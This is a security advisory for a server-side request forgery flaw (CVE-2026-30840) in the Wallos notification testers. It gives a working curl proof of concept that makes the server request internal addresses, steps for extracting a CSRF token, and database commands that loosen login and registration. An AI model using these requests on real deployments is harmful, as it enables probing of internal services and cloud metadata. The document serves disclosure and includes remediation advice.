Security Report: Server-Side Request Forgery (SSRF) in Notification Testers

Wallos version : 4.6.1

GHSA : https://github.com/ellite/Wallos/security/advisories/GHSA-mr2c-prqv-hqm8

CVE : CVE-2026-30840

Summary

- Affected endpoints (all require a logged-in session and CSRF, but are available in normal usage):
- ○ Webhook tester: testwebhooknotifications.php
- ○ Gotify tester: testgotifynotifications.php
- ○ ntfy tester: testntfynotifications.php
- ○ Webhook settings (persistent SSRF): savewebhooknotifications.php
- Summary: Notification testing endpoints accept arbitrary URLs and perform server-side requests, enabling SSRF to internal addresses. “ignore_ssl” disables TLS verification.
- Impact: Access internal network services (127.0.0.1, 10.0.0.0/8, 169.254.169.254), metadata endpoints, or admin panels. Risk of data exfiltration, lateral movement, or interception when TLS is disabled.
- Preconditions: Authenticated user (no admin requirement) with valid CSRF token; normal operation (not first-time setup).
- CWE: CWE-918 (Server-Side Request Forgery), CWE-295 (Improper Certificate Validation) due to optional SSL disable.
- CVSS v3.1: AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H ? 8.8 High

Affected Versions

- Observed on latest main as of 2026-02-28. Any version exposing these testers without private/reserved IP blocking is affected.

Root Cause

- Webhook tester requires method/url/payload but allows any URL; performs cURL with optional SSL disable:

- ○ Validation and cURL: testwebhooknotifications.php
- ntfy tester builds URL host/topic and posts without blocking private IPs:
- ○ Validation and cURL POST: testntfynotifications.php
- Gotify tester POSTs to url/message?token=… without IP restrictions:
- ○ Validation and cURL POST: testgotifynotifications.php
- Webhook settings accept arbitrary URL and persist it for future server-side requests:
- ○ Validation: savewebhooknotifications.php
- Contrast: Image fetch in payments/add implements private/reserved IP rejection:
- ○ Private/reserved IP block: add.php

End-to-End POC (Reproducible)

1) Start the application locally

- From the project root:

```
php -S 127.0.0.1:8000 -t .
```

2) Start a local target to prove SSRF

- Option A (GET only): SimpleHTTPServer

```
python3 -m http.server 8080
```

- This serves http://127.0.0.1:8080/ so we can visibly confirm SSRF hits an internal address.
- Option B (GET + POST): Minimal POST-capable server

```
cat > post_server.py <<'PY'
from http.server import BaseHTTPRequestHandler, HTTPServer
class Handler(BaseHTTPRequestHandler):
    def _send(self, code=200, body=b'OK'):
        self.send_response(code)
        self.end_headers()
        self.wfile.write(body)
    def do_GET(self):
        print(f'GET {self.path} from {self.client_address}')
        self._send(200, b'GET OK')
    def do_POST(self):
        length = int(self.headers.get('Content-Length', 0))
        body = self.rfile.read(length)
        print(f'POST {self.path} from {self.client_address} body={body!r}')
```

```
        self._send(200, b'POST OK')
HTTPServer(('127.0.0.1', 8080), Handler).serve_forever()
PY
python3 post_server.py
```

- Use Option B if you want the ntfy and gotify tester endpoints to return 200 instead of 501.

3) Register a normal user (if none exists)

- Create an account via command line:

```
curl -sS -c cookie.txt -b cookie.txt -X POST \
  -d
'username=ssrf_tester&firstname=SSRF&lastname=Tester&email=ssrf.tester@example.com&password=Pa
ssw0rd!&confirm_password=Passw0rd!&main_currency=USD&language=en' \
  http://127.0.0.1:8000/registration.php
```

If registration redirects to login or fails:

- Registration may be closed or capped by max users:

```
sqlite3 db/wallos.db 'select registrations_open, max_users from admin;'
# To open registration and remove cap:
sqlite3 db/wallos.db 'update admin set registrations_open=1, max_users=0;'
```

- If email verification is required, login will fail until verified:

```
sqlite3 db/wallos.db 'select require_email_verification from admin;'
# To disable requirement:
sqlite3 db/wallos.db 'update admin set require_email_verification=0;'
# Or mark your email verified by removing the pending row:
sqlite3 db/wallos.db 'delete from email_verification where email=\"ssrf.tester@example.com\";'
```

Alternate fallback (temporary, for POC):

- Auto-login admin via config:

```
sqlite3 db/wallos.db 'update admin set login_disabled=1;'
# Then visit http://127.0.0.1:8000/login.php to be logged in and get cookies
```

4) Log in and capture the session

```
curl -sS -L -c cookie.txt -b cookie.txt -X POST \
  -d 'username=ssrf_tester&password=Passw0rd!' \
  http://127.0.0.1:8000/login.php
```

5) Extract CSRF token from any page that includes the header

- The token appears as window.csrfToken. For example, fetch settings:

```
curl -sS -b cookie.txt http://127.0.0.1:8000/settings.php | tee page.html >/dev/null
export CSRF_TOKEN=$(sed -n 's/.*window.csrfToken = \"\([a-f0-9]\{64\}\)\".*/\1/p' page.html)
echo "CSRF_TOKEN=$CSRF_TOKEN"
```

If the token is empty, use this more permissive extractor:

```
export CSRF_TOKEN=$(grep -oE 'window\\.csrfToken\\s*=\\s*\"[^\"]+\"' page.html | head -n1 |
cut -d '\"' -f2)
echo "CSRF_TOKEN=$CSRF_TOKEN"
```

Or fetch another page that includes the header (index or subscriptions):

```
curl -sS -b cookie.txt http://127.0.0.1:8000/index.php | tee page.html >/dev/null
export CSRF_TOKEN=$(grep -oE 'window\\.csrfToken\\s*=\\s*\"[^\"]+\"' page.html | head -n1 |
cut -d '\"' -f2)
echo "CSRF_TOKEN=$CSRF_TOKEN"
```

6) Webhook Tester SSRF to localhost

- Send a JSON payload targeting 127.0.0.1:8080:

```
curl -sS -X POST -b cookie.txt \
  -H "Content-Type: application/json" \
  -H "X-CSRF-Token: $CSRF_TOKEN" \
  -d '{
    "requestmethod": "GET",
    "url": "http://127.0.0.1:8080/",
    "payload": "ping",
    "customheaders": "[\"X-Test: 1\"]",
    "ignore_ssl": true
  }' \
```

```
  http://127.0.0.1:8000/endpoints/notifications/testwebhooknotifications.php
```

- Expected: The server performs a request to 127.0.0.1 and returns the HTTP body/response code, proving internal reachability. Swap the URL to http://127.0.0.1:8080/ to hit the Python server and observe its access logs.

7) ntfy Tester SSRF

- Target the internal host with any topic:

```
curl -sS -X POST -b cookie.txt \
  -H "Content-Type: application/json" \
  -H "X-CSRF-Token: $CSRF_TOKEN" \
  -d '{
    "host": "http://127.0.0.1:8080",
    "topic": "test",
    "headers": "{\"X-Test\":\"1\"}",
    "ignore_ssl": true
  }' \
  http://127.0.0.1:8000/endpoints/notifications/testntfynotifications.php
```

- Expected: Server-side POST to 127.0.0.1:8080/test with custom headers. Confirm in the Python server terminal.
  - Note: If you used SimpleHTTPServer, it returns 501 for POST (it does not implement POST). This still proves SSRF reachability; switch to the POST-capable server for 200 responses.

8) Gotify Tester SSRF

- Point the URL to the internal service:

```
curl -sS -X POST -b cookie.txt \
  -H "Content-Type: application/json" \
  -H "X-CSRF-Token: $CSRF_TOKEN" \
  -d '{
    "gotify_url": "http://127.0.0.1:8080",
    "token": "anything",
    "ignore_ssl": true
  }' \
  http://127.0.0.1:8000/endpoints/notifications/testgotifynotifications.php
```

- Expected: Server-side POST to 127.0.0.1:8080/message?token=anything.
  - Note: As above, SimpleHTTPServer will emit 501 for POST; use the POST-capable server to return 200 and print request details.

9) Persistent SSRF via Webhook Settings

- Save a webhook URL pointing to an internal host; background jobs later hit it:

```
curl -sS -X POST -b cookie.txt \
  -H "Content-Type: application/json" \
  -H "X-CSRF-Token: $CSRF_TOKEN" \
  -d '{
    "enabled": true,
    "webhook_url": "http://127.0.0.1:80/",
    "headers": "[]",
    "payload": "{\"ping\":\"pong\"}",
    "cancelation_payload": "{\"cancel\":\"now\"}",
    "ignore_ssl": true
  }' \
  http://127.0.0.1:8000/endpoints/notifications/savewebhooknotifications.php
```

- Expected: Settings accepted; background jobs may later reach internal targets when notifications run.

Why It Works

- Validation checks only scheme/format; no private/reserved IP filtering
- Requests execute server-side via cURL; “ignore_ssl” disables TLS validation
- Authenticated user can control URL/host fields in testers/settings

Impact

- Read internal metadata or probe services from the application host
- Reach admin consoles bound to localhost
- Interception risk via disabled TLS verification (ignore_ssl)

Troubleshooting (CSRF and Login)

- Ensure you are logged in; otherwise settings/index will redirect. After login, verify by loading index.php and checking for window.csrfToken.
- If login uses 2FA or email verification, you may need to complete those steps first.
- To persist the login cookie for auto-login:

```
curl -sS -L -c cookie.txt -b cookie.txt -X POST \
  -d 'username=ssrf_tester&password=Passw0rd!&remember=on' \
```

```
http://127.0.0.1:8000/login.php
```

- Check for redirects and status codes:

```
curl -sSI -b cookie.txt http://127.0.0.1:8000/settings.php
```

- Confirm cookies saved:

```
grep -E 'PHPSESSID|wallos_login' cookie.txt || true
```

- ○ If registration continues to fail, ensure the currency code matches one of the built-in codes (e.g., USD, EUR) and language matches available codes (e.g., en). The server-side handler expects form POST to registration.php with the fields shown in the example.

Remediation Guidance (Non-Patching)

- Reject private/reserved IPs and hostnames resolving to them (match payments/add approach and extend)
- Disallow URLs with localhost/loopback and link-local addresses (169.254.0.0/16)
- Remove or restrict “ignore_ssl”; enforce TLS certificate validation
- Consider allowlisting known external notification hosts or requiring admin approval for arbitrary testers
- Log and rate-limit tester requests; separate test-only environment controls

References

- ○ CSRF exposure in header: header.php
- ○ Endpoint CSRF verification: validate_endpoint.php
- CWE-918 (SSRF): https://cwe.mitre.org/data/definitions/918.html
- CWE-295 (Improper Certificate Validation): https://cwe.mitre.org/data/definitions/295.html

---

Revision #4
Created 2026-03-02 15:01:52 UTC by Aryma
Updated 2026-03-06 01:25:36 UTC by Aryma